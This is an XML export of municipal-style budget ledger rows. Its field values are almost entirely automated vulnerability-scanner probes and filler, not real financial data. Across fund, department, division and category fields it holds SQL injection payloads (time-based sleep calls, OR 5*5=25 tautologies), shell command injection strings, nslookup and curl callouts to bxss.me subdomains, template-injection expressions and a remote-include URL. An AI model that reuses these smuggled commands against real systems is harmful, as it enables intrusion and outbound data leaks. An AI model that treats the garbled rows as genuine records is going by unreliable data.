<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>^(#$!@#$)(()))******</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>bxss.me</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>Http://bxss.me/t/fit.txt</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>!(()&amp;&amp;!|*|*|</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>'"()</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU'||sleep(27*1000)*xdvyzg||'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>19288439</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>echo dmybsn$()\ hicrbp\nz^xyu||a #' &amp;echo dmybsn$()\ hicrbp\nz^xyu||a #|" &amp;echo dmybsn$()\ hicrbp\nz^xyu||a #</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU"||sleep(27*1000)*wgeezp||"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>|echo vybkgg$()\ lpumpz\nz^xyu||a #' |echo vybkgg$()\ lpumpz\nz^xyu||a #|" |echo vybkgg$()\ lpumpz\nz^xyu||a #</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>expr 9000182318 - 977441</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1"&amp;&amp;sleep(27*1000)*aavmjf&amp;&amp;"</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(nslookup -q=cname hitkzqhsrzzdiee26c.bxss.me||curl hitkzqhsrzzdiee26c.bxss.me))</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>$(nslookup -q=cname hitdgxpvflmpf1d945.bxss.me||curl hitdgxpvflmpf1d945.bxss.me)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>&amp;nslookup -q=cname hitnyavqkgyor2c95f.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitnyavqkgyor2c95f.bxss.me&amp;`'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>|(nslookup -q=cname hitdcjyjtljtl7476e.bxss.me||curl hitdcjyjtljtl7476e.bxss.me)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>;(nslookup -q=cname hitixiqvpkkayd9303.bxss.me||curl hitixiqvpkkayd9303.bxss.me)|(nslookup -q=cname hitixiqvpkkayd9303.bxss.me||curl hitixiqvpkkayd9303.bxss.me)&amp;(nslookup -q=cname hitixiqvpkkayd9303.bxss.me||curl hitixiqvpkkayd9303.bxss.me)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=25 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=26</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1" OR 5*5=25 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1" OR 5*5=26 or "E3sGw3vE"="</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitecasonntvhff402.bxss.me||curl${IFS}hitecasonntvhff402.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitecasonntvhff402.bxss.me||curl${IFS}hitecasonntvhff402.bxss.me)&amp;`'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1"&amp;&amp;sleep(27*1000)*wngqgz&amp;&amp;"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1"||sleep(27*1000)*jslhyn||"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>echo cuglaj$()\ zdbgdu\nz^xyu||a #' &amp;echo cuglaj$()\ zdbgdu\nz^xyu||a #|" &amp;echo cuglaj$()\ zdbgdu\nz^xyu||a #</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>&amp;echo beoddp$()\ diqerr\nz^xyu||a #' &amp;echo beoddp$()\ diqerr\nz^xyu||a #|" &amp;echo beoddp$()\ diqerr\nz^xyu||a #</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(nslookup -q=cname hitrjxnimuzrw99614.bxss.me||curl hitrjxnimuzrw99614.bxss.me))</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'"()</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>if(now()=sysdate(),sleep(15),0)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=25 or 'SVaFE4aJ'='</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>(nslookup -q=cname hitofnodvmyuv09763.bxss.me||curl hitofnodvmyuv09763.bxss.me))</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>&amp;nslookup -q=cname hitpfmdrzytfyf481f.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitpfmdrzytfyf481f.bxss.me&amp;`'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>bfg10350%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10350</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&lt;%={{={@{#{${dfb}}%&gt;</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>dfb{{98991*97996}}xca</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>'"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>dfb__${98991*97996}__::.x</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>&lt;!--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>${9999487+10000398}</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>19111823</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
